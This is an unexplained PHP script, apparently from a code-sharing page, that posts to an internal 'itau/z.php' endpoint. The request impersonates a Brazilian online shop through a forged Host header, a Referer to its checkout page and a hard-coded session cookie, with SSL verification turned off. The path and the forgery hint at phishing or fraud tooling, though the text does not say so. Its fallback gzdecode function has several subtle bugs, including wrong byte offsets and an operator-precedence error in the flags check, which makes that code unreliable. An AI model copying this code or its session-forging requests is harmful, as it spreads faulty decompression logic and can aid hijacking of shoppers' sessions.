php if function_exists gzdecode function gzdecode data len strlen data

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?php
if(!function_exists("gzdecode")) {
function gzdecode($data) {
$len = strlen($data);
if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) return null;
$method = ord(substr($data,2,1));
$flags = ord(substr($data,3,1));
if ($flags & 31 != $flags) return null;
$mtime = unpack("V", substr($data,4,4));
$mtime = $mtime[1];
$xfl = substr($data,8,1);
$os = substr($data,8,1);
$headerlen = 10;
$extralen = 0;
$extra = "";
if ($flags & 4) {
if ($len - $headerlen - 2 < 8) return false;
$extralen = unpack("v",substr($data,8,2));
$extralen = $extralen[1];
if ($len - $headerlen - 2 - $extralen < 8) return false;
$extra = substr($data,10,$extralen);
$headerlen += 2 + $extralen;
}
$filenamelen = 0;
$filename = "";
if ($flags & 8) {
if ($len - $headerlen - 1 < 8) return false;
$filenamelen = strpos(substr($data,8+$extralen),chr(0));
if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) return false;
$filename = substr($data,$headerlen,$filenamelen);
$headerlen += $filenamelen + 1;
}
$commentlen = 0;
$comment = "";
if ($flags & 16) {
if ($len - $headerlen - 1 < 8) return false;
$commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) return false;
$comment = substr($data,$headerlen,$commentlen);
$headerlen += $commentlen + 1;
}
$headercrc = "";
if ($flags & 2) {
if ($len - $headerlen - 2 < 8) return false;
$calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
$headercrc = unpack("v", substr($data,$headerlen,2));
$headercrc = $headercrc[1];
if ($headercrc != $calccrc) return false;
$headerlen += 2;
}
$datacrc = unpack("V",substr($data,-8,4));
$datacrc = $datacrc[1];
$isize = unpack("V",substr($data,-4));
$isize = $isize[1];
$bodylen = $len-$headerlen-8;
if ($bodylen < 1) return null;
$body = substr($data,$headerlen,$bodylen);
$data = "";
if ($bodylen > 0) {
switch ($method) {
case 8:
$data = gzinflate($body);
break;
default:
return false;
}
}
if ($isize != strlen($data) || crc32($data) != $datacrc) return false;
return $data;
}
}
if(!$_POST) {
$header = array(
'Host: www.centralar.com.br',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate',
'Referer: https://www.centralar.com.br/loja/ConcluindoSeuPedido.php',
'Cookie: PHPSESSID=n0f9fdl70jopfqjjc2s32qcea6',
'Connection: keep-alive');
//$URL = "http://186.235.65.104/z.php";
$URL = "http://10.1.1.2/itau/z.php";
$data = "send=me&your=heart";
array_push($header, "Content-Length: ".strlen($data));
$fd = curl_init();
curl_setopt($fd, CURLOPT_URL, $URL);
curl_setopt($fd, CURLOPT_POST, 1);
curl_setopt($fd, CURLOPT_POSTFIELDS, $data);
curl_setopt($fd, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0');
curl_setopt($fd, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($fd, CURLOPT_HEADER, 1);
curl_setopt($fd, CURLOPT_HTTPHEADER, $header);
curl_setopt($fd, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($fd, CURLOPT_SSL_VERIFYPEER, 0);
$rec = curl_exec($fd);
curl_close($fd);
$tmp = explode("\r\n\r\n", $rec);
echo '<pre>';
echo gzdecode($tmp[count($tmp)-1]);
echo '</pre>';
} else {
print_r($_POST);
}
?>